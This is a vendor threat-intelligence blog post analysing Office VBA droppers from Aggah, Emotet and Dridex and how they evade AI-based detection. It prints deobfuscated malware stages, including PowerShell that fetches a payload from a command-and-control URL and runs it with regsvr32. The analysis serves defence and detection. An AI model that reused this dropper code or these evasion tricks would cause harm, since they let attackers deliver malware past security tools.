4 Types of Dropper Malware in Microsoft Office & How to Detect Them | Deep Instinct

By Bar BlockThreat Intelligence Researcher

Published: 2022-05-24 · Archived: 2026-04-02 10:51:58 UTC

Microsoft Office droppers have been a favorite of threat actors for years, continuously finding and exploiting them. Cybersecurity vendors take note and block these entry routes. It‘s a perpetual cat and mouse game and, unfortunately, bad actors typically have the upper hand – at least for a short time. And as AI-based solutions have matured and gained market share these tools have also been targeted for evasion.

This blog will review a variety of VBA droppers that employ different bypass techniques, including an analysis of an evasion method used in the recent Emotet wave. We will also introduce a Python script I wrote to increase the likelihood of detecting these malware threats.

You Got Malware — Aggah’s Use of MsgBox Comments

Aggah, a threat actor group that has been active since 2019, has delivered many payloads, mostly RevengeRAT, to numerous victims. This group is particularly adept at working with Microsoft Office documents and employs various methods in their VBA scripts to make them stealthier. One of these methods, which appears to be used to evade AI-based cyber tools, is the use of comments containing the string ‘MsgBox.’

‘MsgBox’ is a function used in VBA to prompt message boxes, which appear in many Visual Basic scripts and is usually benign. Having this string in the comments of a VBA code increases the likelihood that it will be classified as benign by an AI module. If the code is short and the lengthy ‘MsgBox’ comments comprise a substantial part of it, this will further increase the chances that it will be classified as benign.

 An Aggah dropper's VBA code

A Command in a Comments Stack — Emotet’s Use of Random Sentences

We have seen recent Emotet VBA droppers containing long comments composed of random words. As we see in the figure below, the executed command and the variable containing it were not obfuscated, just floating in a sea of long random comments.

Using these excessive comments might fool both analysts and AI solutions (the former might miss the malicious MSHTA execution when looking at the code, and the latter might give more consideration to the benign features, aka the excessive comments, than to the malicious ones).

 Figure 2: An Emotet dropper's VBA code, the actual commands are highlighted in yellow. Note: a few long comments were redacted, since each of them is just a compilation of random words and none of them contribute to the understanding of the code’s functionality.

Homegrown Obfuscation — Dridex's Usage of Self-Created Functions

One of the most interesting droppers we have recently observed was crafted by the notorious threat group Dridex. In the following example, Dridex employs several sophisticated methods aimed at increasing its likelihood of success — delivering a payload successfully and without detection.

As we see below, the script retrieves strings stored in Excel cells and runs them through the 'slow' function, which returns a de-obfuscated version of its input. The first string is collected from the "B101" cell and is translated into "WScript.Shell," the second is assembled by activating VBA's "Transpose" and "Join" commands on the cells range "K111:K118."

```
////////////////////////////Irrelevant code- redacted/////////////////////////////////////////
Private Sub tools_Layout(ByVal Index As Long)
h (4589555): find
End Sub
Function slow(a As String)
p = 1: o = Len(a)
For i = 4 To o Step 3 + p
slow = slow + Mid(a, i, p)
Next
End Function
Function h(s As Long)
h = slow(Cells(101, 2))
End Function
Sub find()
landing: On Error Resume Next:    WScript.Quit = "" &
CreateObject(h(9)).Run(slow(Join([TRANSPOSE(k111:k118)], "")), 0, False): Debug.Print WScript.Quit:
ActiveWorkbook.Close False
End Sub

////////////////////////////Irrelevant code- redacted/////////////////////////////////////////
```

The Dridex dropper's VBA output. Note: some parts of the code were redacted, since they are irrelevant to this blog.

After retrieving the data from the cells, the following is received:

To de-obfuscate this part, I replaced every "${PJ}" and "${GAB}" mentioned in comma and quotation mark, respectively. I also replaced the indexed placeholders with the appropriate strings and removed unnecessary characters, such as backticks.

This resulted in the following code:

This is obviously obfuscated as well — the main executed string is base64 encoded and deflate compressed. Of note, the attackers went the extra mile and tried to hide their use of the 'iex' command (short for 'Invoke-Expression') by retrieving the characters 'i' and 'e' from the value of the environment variable 'pshome,' which contains the path to the PowerShell directory, as can be seen in the highlighted section above.

After base64 decoding and decompressing the base64 encoded string, yet another obfuscated string is received.

After reassembling the strings and removing unnecessary characters, the following is received:

```
SET ("fK61")( [TyPe]("coNVERt") )  ;
Set-variaBle ('5pv6r') ([type]("io.COMPrEssIon.CoMPressIOnmoDE" ) )  ;
${aB}=("H4sIAAAAAAAAEACVW1xKjSg791a37sDNT3C1yergP5GiSDRjeTMZkY+LU/Ps2uy43Ry0d1AJ1S/z754+o/vH
r58+/fhPYn984++c3CgYQSQoACvBSA8RwIAPEAeLMn98IAEAh//wmwAwFCAAnwAA3EIBIXETAIsGgLmfAhgIbCngkDe
ZAjwIdBW61wJwA64I/cZkAjbrWA2YM0KkrrCsWgECNgoEBGgq80ld4wAMGZBToSCCT4BYCeCeAjri8X+FfgV7RAQ59R
QRkGvihAJe+XF/yFd0VFaCDlSggAvbl5M9f//pP8UPxbV3uSvPH3z9gPX56y7PSaDJU/Ne33SY3XYXcoEiDcbQbj+nz
k9flkdz1fNbwbtXfMdkUZZ5KB7QEpo8/klg0BW8F3h4WF0vbvN9Ej8xv/hxiu5mHKEpgioigNY8osG0HUYhTVAroogw
uHMf98w/A3ACXmrVM92i+T++Uahyj33TRwpvMyZ+QtzkCMGYjYsNSRWNviMF0bMPpU9KQu4nJdyIVE7fYwJk/8pPZka
Msy+CJwq75Uj4ftssT56sSNlxFcs6gwy6LqxO6tSinkiDsmpG7FXC5YOzUIvGpJo7R77ZcLW9Vk5s6n1Q5iHZdoszEi
CJoisZvujTC9eDfUWsB6NIoi01MAjFTUJ/fvvIX6ab2GXIW0FFgKOTn9aVaUQrI11qWQHM3ZGjnIynW/W1jbyM08QVS
YARM5Z5VzCiVY2LNx3JiJ1z3oNvhA01tWJPTVAxWIZ4b329X2C+7r2J1p8/VPR9dw1GIoLfqzEWpipAcYBCIsYsRObZ
4YuhF6vf5IdaQkce2lB3UxiUSywzuOMsYpNX7fOXmvU8RbOWhk0hPmrtriE9WUW6J1HsUxlnmT0BirONc5QRIGwljØR
0Vqu61TJP97XJc7vPCWKzWRuLrBWmMdbOMm0ARh+bqyHrcy2FkA1ZrNrx2ORGxcNYKpe1wANmMDX0AuBbfcu7gAohut
4ksNPpHPRiOcw4f5Gk3OeLBmBoAc2pfAaXEfZp7vdg9MLFyLyvYt8oL0W1Mceca4ZWFFn5bsC8ebpAPnaKyVcIde77R
RbhO165cKZHwx9RnoXvL9sm2T/GQo/ao+9g9byA2DU8uHj3rxEKm3y0kcUT7FRbGp5T3x3tb74GqAjfTPc9rHCdggQi
FO3v6npVuEB5S1ccLj8FxusesNYGWmiKH8g+agRhwl7BLGD/HOBCv51mE4DSVwhm9CMZzSb2OAVs7GIDozhvXnmVcnB
jcvDBfJOe5wltvd6rgkTTKDzdHfJ97k2mjvZxn/wjMcWMy7eZWz08UQ1KKVPISKc1Oa9GyyIpwPIBDsh6jz7X2fq/BD
nx/CO5x8qVUa984iRi+Sy0WmGMMhzCoSFbvK5++SeAE2TwDK0SmJ57V8fL2vD0Mguf9PbRzgL+6YTQMA/k865KJpYyh
li6ob4TV8yuaEYsmr9aabLrnXvnfzR0e54GaX5m/91+x51C252nuDWx+JZ7iQfp4ytFX5lVi1rj//yROCZ4F7ry8SmS
NYVKgxt2EMlEfoRK1nRA3i/yU3Fdf2Y1uS8LYGCUxyzi691882LSG3BizvE51rP16Frq5InAZN4TRAM0JIvPfUKeFMF
VxGZtWo8XzyKadEUKKhG7gvCjUJzwKHp6aKzchkMq3EBlygjtuHd/XsDiU79v5rRYDdfdbT5I+fB9RE5SA1W9zsKqtO
vp+Nk2OloN8NgzGN+pV6lRRh5HjSjb15v2v8H0NMPO9SmJR6QAa1RS/TrJHmwWDfL6yJcwCjjaF13pfEerJNZRwdBu0
tNuVYeRzC2fcfryanWBnNhAQh61gF2pTxflfJW7uvRRX1xkKT0TCsQXjN4yp3+3ORGIQqx2z8b70NiXeuoobsYv1mhP
HVfzqx4e4jWR2MzDm7GOJIaWNUdDnIx7tK3mTTr1k6aJoeUsrI8+6cuwhX+bErnGGcAqRtGI2bJ2ItcVZDTcM7Jagw7
jLt8x2BmLbq7w8jVzPXwqrnYomn5WJ2jRNWF2/lTkzu56iZE63110/k+3eesioLEI9NqFfajAjIZFGVaiEEwV2mzc8Z
eoY2RuqG/dY13LXeJEw7YBG4RHFeRM1Sa5LSDyypykxdz9Unc34MLO/1vl8cm+4FrG1WfLnmQbBsSUpLdvush+J7vlr
k5kfVCaq/uGGT/jqcdGVrPZ6x9mn6PcC7ms1CwcRhe/NKRT45r0yYOw61oH0fvTPFhJNDs0E4v5J02zcTmAtIV6ljA+
/3k10UWjq2iCs71OuZ6GPAiYPoWSMStGtFDSqR7AQfUzg8/1q+ftVYggXIjd8bYxNwu7qlD9LHdTEZ8KbwrU4LqPh3F
uIqfQTmB4TV18FeYUy6448kGGmCh96mPazsLnVM4x6/2pzT5ff6j35813NNlLw6Bz0ZtsCp2iul0GNr9Svc+KT2KKU9
+0UkxiTwP5Hb77u94aou1/wzcFL1ku+RQQhW06wb5DttC313ZfinoVqFKXkQcwfa+Mar4IctBcQgXLvT2VEtY7yGGId
Bp5RT/hji0HqK8c4x0vZTeV27+LPmUr54eh8iBvFHn2nqyFrts+7LrE/6ER/7VFQMjgh56bIn1yePq6Yy8HjCZvJ0Vv
+YAz8a7RWwXNF3pwTS70qUBwUpJVfw+tKqXl1LD5IKWYvkGPk2y3Dvma3bGXTLpFAdSnsLLW/Oml1dVj2JrM2fOtUEm
pDXTmMDFEm74ArQxpZRi3EvLbo4100H0gISbArJRzpMhLrCmU/b/iDRwYcVwmunwP6+9XnVnRxqCUj6/Z0SiGRPyBKP
xPvpmy/Nn/5RK9wvMp71rEe4V9fBYNWJU402C+kzRMqHLe1GZm4KgsbDpOyemaMJirOTtFUmVaVtm3ZU23w7pZ5iHTo
ej6cGa6Wc+1wW+pLhr6qhyOy9y1jf/z69V8cgMyR1wsAAA==");

function YI(${Qq})
{
&("nal") ('cf') ("New-Object");
.("sal") ('Ox') ("iex");
.('Ox')(.('cf') ("IO.StreamReader")(.('cf') ("IO.Compression.GZipStream")((&('cf')
("IO.MemoryStream") -A @(,  ( gET-VARiable ("FK61")  -vALuEOnly
)::("FromBase64String").Invoke(${qQ}))),  (  gEt-VAriAbLe  ("5pV6R")
).valUE::"decompRESs"))).("ReadToEnd").Invoke()
};

.('yi')(${aB})
```

Just as before, base64 decoding and decompression are required in order to retrieve the code of the next stage. However, this time Dridex employs something we have not seen in previous stages — aliases.

In the above snippet, 'nal' ('New-Alias') and 'sal' ('Set-Alias') are used to set 'cf' and 'ox' as aliases for 'New-Object' and 'iex,' respectively.

".('yi')(${aB})" returns another call to the 'yi' function, which in turn provides the following output:

```
 ${O0T`hx}=  [type]("{5}{2}{1}{4}{6}{0}{3}" -F 'eMb','ecT','L','Ly','ion.As','reF','s') ;
.("{2}{0}{1}" -f'Et-It','EM','S') ("{2}{0}{1}" -f'riAbLE:','gXd','vA')  (
[type]("{2}{4}{5}{9}{0}{3}{7}{8}{6}{1}" -F
'uRiTY.','TiTY','Syst','pr','eM','.','NDoWsIDEN','iNCIPA','L.Wi','SEC')) ; &("{0}{1}"-
f'SE','t') ("{0}{1}"-f 'ONR','0')  (  [TYPe]("{2}{1}{0}" -F'Ng','NCoDI','Text.e'));
.("{0}{1}" -f 'S','et')  ("{1}{0}{2}"-f'TeU','No','x')  ( [TypE]("{2}{0}{1}"-f
'E','Rt','Conv')  ) ;.("{0}{1}"-f 'set-ite','m')  ("{2}{0}{1}"-f'mD','c','VaRIablE:o')
([Type]("{1}{0}" -f 'e','io.Fil')  ) ;  &("{1}{0}"-f 'ET','s') ("3sR"+"q48")
([tYpe]("{1}{0}" -F'ex','REG') ) ;  ${s}=0;${G}=1;${F`A}=100;function
Y($iH){$($iH.("{1}{0}{2}" -f 'st','sub','ring').Invoke(${G}) -replace('-',''));return
${_}};${Q`e}=(&("{3}{0}{1}{2}"-f't-','Pr','ocess','Ge') -Id
${P`id})."M`A`in`WIn`d`OwHandle";${c`A}=[Runtime.InteropServices.HandleRef];${XX}=&("{1}{0}
{2}{3}"-f 'b','New-O','jec','t') ${C`A}(${g},${Q`E});${t}=&("{2}{1}{0}" -f 'ct','-
Obje','New') ${c`A}(2,${s});((  ( .('gi')  ("{3}{2}{1}{0}"-f'Thx','o0','le:','VaRIAb')
)."VAl`UE"::("{3}{1}{0}{2}" -f'i','adWithPart','alName','Lo').Invoke(("{0}{1}{2}"-
f'Wind','owsBa','se'))).("{1}{0}"-f 'e','GetTyp').Invoke(("{6}{2}{5}{3}{4}{1}{0}"-
f's','Method','n32.','ns','afeNative','U','MS.Wi'))):("{2}{0}{1}" -f
'Wind','owPos','Set').Invoke(${X`x},${T},${s},${S},${F`A},${fA},64.5*256);${I}=("{0}{2}{1}"
-f 'om','o',' /ger');${i}=${I}.("{1}{0}" -f 'plit','s').Invoke(' ');${SS}=.('y')((
${G`Xd}::("{1}{2}{0}"-f 'nt','GetCu','rre').Invoke())."u`SeR"."Va`Lue");${E}='ht'+("{1}{0}"
-f ':/','tps')+${I}[${G}]+("{1}{0}" -f'a','nag')+'.c'+(${I}[${S},${g}] -replace
'(\D{5})','/')+'?'+${Ss};&('Si') ("{0}{2}{1}" -f'V','iable:/f','ar') ${e}.("{1}{0}" -
f'lace','rep').Invoke(' ','');.('Sv') 1 ("{2}{0}{3}{1}" -f'eb','ent','Net.W','Cli');&('SI')
("{0}{1}{2}" -f 'V','a','riable:C2') (.("{0}{1}{2}"-f'New-Obj','e','ct') (.('Gv') 1 -
Va));&('SV') ('c') ("{2}{1}{0}"-f 'ata','loadD','Down');${o`Ad}=(([Char[]](&("{1}{0}{2}"-f
'ri','Va','able') ('C2') -ValueOn).((.("{1}{0}{2}"-f'ab','Vari','le') ('c') -
Val))."invO`ke"((.("{2}{1}{0}"-f 'ble','ia','Var') ('f'))."VAL`Ue"))-
Join'');${T`Fg}=${En`V:t`e`mp};${M`I}=(${d}=.("{1}{0}"-f 'ci','g') ${t`FG}|.("{2}{1}{0}" -f
'andom','et-r','g'))."Na`mE" -replace
".{4}$";${W}=${T`FG}+'\'+${MI}+'.';${V`M}=${O`Ad}.("{1}{3}{2}{0}" -
f'g','su','in','bstr').Invoke(${s},${G});${P}=[int]${VM}*${f`A};${o`oa} =${o`Ad}.("{1}{0}"-
f 'e','remov').Invoke(${S},${G});${P`l}=${o`Oa} -split'!';.("{0}{1}"-f'sa','l') ('mc')
("{0}{1}{2}"-f'r','egsvr','32');${JP}=  (&("{0}{2}{1}"-f'VaRi','Ble','a') ("{1}{0}" -f
'NR0','O')  -VaLUE  )::"U`TF8";function Va(${ZX}){${Sa}=  ${n`oTEuX}::("{0}{1}{3}{2}"-f
'F','r','se64String','omBa').Invoke(${zx});return ${S`A}};foreach(${II} in
${P`l}[${S}]){${g}=@();${p`Pt}=${vM}.("{2}{1}{0}"-f
'rArray','ha','ToC').Invoke();${i`i}=&('va'){${i`I}};for(${JL}=${s}; ${jl} -lt
${Ii}."cou`Nt"; ${jL}++){${G} += [char]([Byte]${II}[${jl}] -
bxor[Byte]${P`pT}[${j`L}%${P`pT}."c`OUNT"])}};${Vv}=${o`Oa}."repLa`ce"((${pL}[${S}]+"!"),${
J`P}."G`EtS`TRing"(${g})); ( .("{1}{0}"-f'LE','varIaB')  ("{0}{1}"-f'o','mdC')
)."V`AluE"::("{2}{0}{1}" -f 'llByte','s','WriteA').Invoke(${w},(&('va'){${V`V} -replace
".{200}$")));if((.("{0}{1}"-f'g','ci') ${w})."Le`NGth" -lt ${p}){exit};.("{1}{0}"-f
'ep','sle') 9;&('mc') -s ${w};.("{1}{0}" -f 'p','slee') 13;  (&("{1}{0}" -f 'le','vARIAB')
("{0}{1}" -f 'om','dC')  )."vA`LUE"::("{0}{2}{1}" -f 'WriteAll','s','Line').Invoke(${W},  (
&("{1}{0}{2}" -f'b','VARIA','le')  ("3Sr"+"q4B") -VAlUEo  )::("{0}{1}" -
f'replac','e').Invoke(${s`s},'\D',''))
```

And after some cleanup, we can finally get a semi-clear picture of what the dropper tries to do:

After going over the above code (and adding a few notes for myself along the way, which I left in the snippet), I finally reached a verdict regarding the dropper's true intention: it retrieves the user's ID, removes the hyphens it contains, and assembles a URL that looks like this https://geronaga[.]com/gero?*myHyphenLackingUID.* It then downloads a file to the user's temp directory, decodes and decrypts it, executes the file's content using 'regsvr32' and then, finally, deletes this content to avoid leaving any traces.

Since the domain is inactive and the focus of our blog is to present evasion techniques in Microsoft Office droppers, I did not expand my analysis of the downloaded file. However, since we know that 'regsvr32' is used to

execute the file's content and that the payload is a DLL, we can assume that the downloaded file contains a DLL registration command for the payload.

For a more expanded analysis of this dropper, you can read this excellent blog.

Less Complicated, More Files

Sometimes, simple obfuscation techniques can be sufficient to avoid detection, especially if the infection flow involves multiple stages and files written in different scripting languages, as demonstrated below in the analysis of an Emotet dropper from the malware family's recent resurrection.

 The Emotet dropper's VBA output. Note: some parts of the code were redacted, since they are irrelevant to this blog, moreover, some of them are never executed.

As you can see, the VBA function "Cells" is used in this script to extract contents of specified Excel cells and use them in the VBA script. Without knowing what these cells contain, it is difficult to determine whether the file is malicious or not, especially since none of the commands seems damning enough.

To get a clearer picture, I replaced all the cells highlighted functions in the above code snippet with the matching string values, highlighted in yellow in the below code snippet.

This provided greater insight into the script's functionality; the "Wscript.shell" string suggests Wscript will be used to execute additional commands, while "c:\programdata\ughldskbhn.bat" and "c:\programdata\yhjlswle.vbs" imply that Emotet uses these Batch and VBS files in this infection flow.

The strings highlighted in green in the above snippet are replaced in the lengthy strings extracted from the Excel cells by an empty string using the VBA "Replace" function. Padding parts of the actual commands with these strings decreases the chances of them being flagged during a static analysis. After the VBA "Replace" command is run, the following is received:

With the information from the above decoded strings in hand, I could determine that the next stage in the infection flow is the VBS script, which the VBA dropper executes using "wscript." Since there were no direct calls to the BAT script in the VBA code, I could assume that, if used, it would be executed from the VBS script.

Basically, the VBA dropper only creates the VBS and BAT files, writes content into each of them, and then the VBS script takes center stage.


c:\programdata\yhjlswle.vbs's original content

As can be seen above, the VBS script contains several commands, all concatenated using colons. After separating the commands into different lines and activating the "replace" functions, I received the following:

Basically, the script executes the previously created Batch file and then tries to execute "c\:programdata\x08neuihlows.dll," while providing it with the value "hjyldksfkw3" using rundll32. Since this is the first mention of "x08neuihlows.dll" and the VBS file executes the Batch script before running the DLL, it is fair to assume that the BAT script is in charge of dropping the executable in the right location.

Just like the VBS file uses colons to concatenate commands, the BAT script uses ampersands to do the same:

In short, the script sets a few variables, and concatenates their values in the below command.

```
start/B /WAIT
%ertEWRt4%%cvFHDErte75s%%oifYdFGhse34sd%%wreDgdSdytDFf%%jDFtHxdrgszegh%%AegFhtXfg
4f%%BXdgrtysews34yu%&echo CGFhjCDFthjufcjftT46r hsbgr4jehgdfgDRHdRHdrt4ydds rtg4jth
```

Which translates into the following:

After base64 decoding the PowerShell script, I discovered how Emotet downloads their DLL payload and from where.

As can be seen below, the variable "MJXdfshDrfGZses4" contains a list of URLs which the script goes over using a "for" loop. Each time the "for" loop runs, it tries to download the Emotet DLL into "c:\programdata\bneuihlows.dll" using "Invoke-WebRequest." Then, it checks if the downloaded file's length is greater than 47436 bytes. If so, it means that the DLL was downloaded successfully, and the loop breaks.


The PowerShell code used to retrieve the Emotet payload

Interesting Cells and Where to Find Them

As we see in the above analysis, storing the actual commands in Excel cells instead of in the VBA code itself can be a good way to avoid detection because when a static analysis mechanism goes over the VBA code, it cannot determine whether the executed content is malicious or not. Since Excel cells have benign uses in VBA code as well, a security product may deem them as benign, to avoid a false positive.

Of course, if the cells are replaced with their content, the likelihood for detection increases. So I tried to find a way to replace the "cells" function calls with the right strings without running the VBA code during the analysis.

During my research, which focused on OOXML files, I found two files, which Excel creates by default, that could help achieve this goal: “sharedStrings.xml” and “xl/worksheets/**sheetName**.xml.”

The first file, “sharedStrings.xml,” contains all the strings in the Excel file. The class SharedStringItem (ssi) represents string items (si) and each si element contains a text (t). The file contains unique strings, each representing the full content of one or more Excel cells.

 A SharedStrings.xml example

To match the strings to the right cells, we need a cell to string mapping — this is where “xl/worksheets/**sheetName**.xml” comes into the picture. In OOXML Excel files, data containing cells will be mapped in an XML file, which will be found in the following path- “xl/worksheets/**sheetName**.xml,” for example, the cells of “sheet1” will be mapped in “xl/worksheets/sheet1.xml.” Each one of these cells mapping files contains a tag called “SheetData,” which contains a “row” tag for each row in the sheet that contains data. Each “row” entry contains “c” (cell) entries. Cells that contain strings have their ‘t’ (type) values set to ‘s’ and their ‘v’ (value) tags contain an integer that is the index of the ‘si‘ object whose string the cell contains in “sharedStrings.xml.” Cells that contain other types of data, such as integers and floats, have it contained in their ‘v’ tags.

 An example of an “xl/worksheets/**sheetName**.xml” file

By writing a script that extracts that data, matches cells to their appropriate values, and replaces “cell” function calls with these values, I could make the script less obfuscated and increase the likelihood of it being flagged by a static analysis mechanism. I also addressed the VBA “replace” functions issue and mimicked its functionality in my code.

The script is still in the works and currently handles only the “cells,” “transpose,” and “replace” functions. In addition, it only works on OOXML files and expects to get the VBA code as an input (I used oledump to extract it from examined Office files). There is still much work to do and cases to address, such as use of variables in function calls, e.g.: “cells($i, $j)” and of OLE files.

Prevention, Detection, and Everything in Between

Obfuscated droppers are more difficult to detect — they contain intentionally broken strings that evade static signatures, store malicious content in Excel cells, and use excessive comments in the hope of hiding their malicious content. But difficult does not mean impossible. Some patterns can still be signed statically, other behaviors can be detected dynamically, and if you want to take the bulldozer approach, you can just forbid all script executions (or at least most of them).

Conclusion

Deep Instinct’s agent uses deep learning to prevent malicious droppers, ensuring they can’t execute in your environment. The Deep Instinct Prevention Platform stops known, unknown, and zero-day threats with the highest accuracy and lowest false-positive rate in the industry. We stop attacks before they happen, identifying malicious files in <20ms, before execution.

If you'd like to see the platform in action for yourself, we'd be honored to show you what true prevention looks like. Please request a demo.

Indicators of Compromise (IoCs)

0042404ac9cbe7c082b9c0ae130e956ab7989cfa72a3f3b0c7f2226e23a6c6cb Emotet (Excel cells method) Office dropper

40a1e0aa0e580e2a15bbfd70ba4b89d3dd549bdc7bc075a223f12db0ddd2195d Emotet (Excel cells method) VBA code

ed7c68c3c103beaa7e5f30a3b70a52bb5428ce1498b7f64feda74342f93e16fe Emotet (excessive comments method) VBA code

028a5447d36c7445e3b24757d5cb37bafa54c5dfa7c3393fa69dd26e278442a4 Emotet (excessive comments method) Office dropper

9caed14e7f7d3e4706db2e74dc870abff571cce715f83ef91c563627822af6ad Dridex Office dropper

4f5ecf2c3073edd549e8ea2b1e65d8c478f3390567cffa3c909d328a3969ddd8 Dridex VBA code

cb9a5f0ad26cbb7b9f510b80df97f0045d7232d31cfde3cbce095d1c88c90e89 Aggah VBA code

---